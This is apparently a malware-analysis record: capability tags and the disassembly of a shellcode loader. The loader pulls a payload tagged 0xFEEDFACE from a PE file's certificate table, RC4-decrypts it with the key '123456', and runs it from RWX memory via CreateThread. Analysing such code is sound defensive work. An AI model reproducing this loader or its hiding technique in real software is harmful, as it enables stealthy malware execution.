Function at 0x10003150
Capabilities:
Allocate or change rwx memory
Create thread
Encrypt data using rc4 ksa
Execute shellcode via indirect call
Get file size
Inject thread
Read file on windows
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x424
mov eax, dword [0x100bd004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push str._n__:_Basic_Loader..._n_n
call fcn.100030d0
add esp, 4
lea eax, [ebp - 0x108]
push 0xff
push 0
push eax
call fcn.10007040
add esp, 0xc
lea eax, [ebp - 0x208]
push 0xff
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x208]
push 0x5c
push eax
call fcn.10008d10
add esp, 8
test eax, eax
je 0x100031b5
mov byte [eax], 0
lea eax, [ebp - 0x208]
push eax
push str._sksolaunch.exe
lea eax, [ebp - 0x108]
push 0xff
push eax
call fcn.10003110
lea eax, [ebp - 0x108]
push eax
push str.__:_Using_PE_File:__s_n
call fcn.100030d0
xor eax, eax
xor ebx, ebx
mov dword [ebp - 0x314], eax
mov dword [ebp - 0x20c], eax
lea eax, [ebp - 0x108]
push eax
push str.__:_Loading_Parsing_PE_File__s_n
call fcn.100030d0
add esp, 0x20
lea eax, [ebp - 0x108]
push ebx
push 0x80
push 3
push ebx
push ebx
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x31c], eax
cmp eax, 0xffffffff
je 0x10003568
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
push esi
call fcn.1000aa70
add esp, 4
mov edi, eax
lea eax, [ebp - 0x20c]
mov dword [ebp - 0x318], edi
push ebx
push eax
push esi
mov esi, dword [ebp - 0x31c]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
cmp dword [ebp - 0x20c], ebx
jne 0x10003292
lea eax, [ebp - 0x108]
push eax
push str.___:_Could_not_read_file__s_n
push 2
call fcn.1000bd34
add esp, 4
push eax
call fcn.100030a0
add esp, 0xc
xor ebx, ebx
jmp 0x10003536
mov eax, 0x5a4d
cmp word [edi], ax
je 0x100032aa
lea eax, [ebp - 0x108]
push eax
push str.___:__s_is_not_a_valid_PE_file_n
jmp 0x10003278
lea esi, [edi + 0x18]
mov ecx, 0x38
add esi, dword [edi + 0x3c]
lea edi, [ebp - 0x2f0]
rep movsd dword es:[edi], dword [esi]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push str.IsWow64Process
push str.kernel32
mov esi, eax
mov dword [ebp - 0x210], ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x100032f0
lea ecx, [ebp - 0x210]
push ecx
push esi
call eax
cmp dword [ebp - 0x210], ebx
je 0x1000330d
mov eax, 0x20b
cmp word [ebp - 0x2f0], ax
jne 0x10003321
mov ebx, 2
jmp 0x10003321
mov ecx, 0x10b
mov eax, 0xfffffffe
cmp word [ebp - 0x2f0], cx
cmove ebx, eax
mov esi, dword [ebp + ebx*8 - 0x270]
mov ebx, dword [ebp + ebx*8 - 0x26c]
push esi
push str.__:_Certificate_Table_RVA__x_n
call fcn.100030d0
push ebx
push str.__:_Certificate_Table_Size__d_n
call fcn.100030d0
mov edi, dword [ebp - 0x318]
add esp, 0x10
add edi, esi
xor esi, esi
test ebx, ebx
je 0x100033a2
cmp byte [esi + edi], 0xfe
jne 0x10003371
cmp byte [esi + edi + 1], 0xed
jne 0x10003371
cmp byte [esi + edi + 2], 0xfa
jne 0x10003371
cmp byte [esi + edi + 3], 0xce
je 0x10003378
inc esi
cmp esi, ebx
jb 0x10003356
jmp 0x100033a2
push 0xce
push 0xfa
push 0xed
push 0xfe
push str.__:_Tag_Found_0x_x_x_x_x_n
call fcn.100030d0
lea eax, [esi + 8]
add esp, 0x14
mov dword [ebp - 0x314], eax
lea eax, [esi + 8]
mov esi, dword [ebp - 0x314]
cmp esi, eax
je 0x100033ce
push str.___:_Could_not_locate_data_shellcode_n
push 2
call fcn.1000bd34
add esp, 4
push eax
call fcn.100030a0
add esp, 8
xor ebx, ebx
jmp 0x1000352a
sub ebx, esi
push ebx
call fcn.1000aa70
add esp, 4
mov dword [ebp - 0x314], eax
lea ecx, [edi + esi]
push ebx
push ecx
push eax
call fcn.100071a0
add esp, 0xc
xor edi, edi
xor ecx, ecx
mov esi, 6
mov eax, ecx
mov byte [ebp + ecx - 0x310], cl
cdq
idiv esi
mov al, byte [edx + str.123456]
mov byte [ebp + ecx - 0x420], al
inc ecx
cmp ecx, 0x100
jl 0x100033f6
xor esi, esi
nop word [eax + eax]
mov dl, byte [ebp + esi - 0x310]
movzx eax, byte [ebp + esi - 0x420]
add eax, edi
movzx ecx, dl
add ecx, eax
mov edi, ecx
and edi, 0x800000ff
jns 0x10003448
dec edi
or edi, 0xffffff00
inc edi
mov al, byte [ebp + edi - 0x310]
mov byte [ebp + edi - 0x310], dl
mov byte [ebp + esi - 0x310], al
inc esi
cmp esi, 0x100
jl 0x10003420
xor edx, edx
xor esi, esi
test ebx, ebx
jle 0x100034d8
xor edi, edi
inc edi
and edi, 0x800000ff
jns 0x10003481
dec edi
or edi, 0xffffff00
inc edi
mov cl, byte [ebp + edi - 0x310]
movzx eax, cl
add edx, eax
and edx, 0x800000ff
jns 0x1000349d
dec edx
or edx, 0xffffff00
inc edx
mov al, byte [ebp + edx - 0x310]
mov byte [ebp + edx - 0x310], cl
movzx ecx, al
mov byte [ebp + edi - 0x310], al
movzx eax, byte [ebp + edx - 0x310]
add ecx, eax
movzx eax, cl
mov ecx, dword [ebp - 0x314]
movzx eax, byte [ebp + eax - 0x310]
xor byte [esi + ecx], al
inc esi
cmp esi, ebx
jl 0x10003470
push ebx
push str._n__:_Encrypted_Decrypted_Data_Size__d_n
call fcn.100030d0
add esp, 8
push 0x40
push 0x1000
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0
push ebx
mov ebx, dword [ebp - 0x314]
mov esi, eax
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
push 0
push 0
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov esi, dword [ebp - 0x31c]
mov edi, dword [ebp - 0x318]
test edi, edi
je 0x10003543
push edi
call fcn.1000a570
add esp, 4
test ebx, ebx
je 0x10003550
push ebx
call fcn.1000a570
add esp, 4
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1000358f
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x108]
push eax
push str.___:_Could_not_read_file__s_n
push 2
call fcn.1000bd34
add esp, 4
push eax
call fcn.100030a0
add esp, 0xc
push 1
call fcn.1000af5a
int3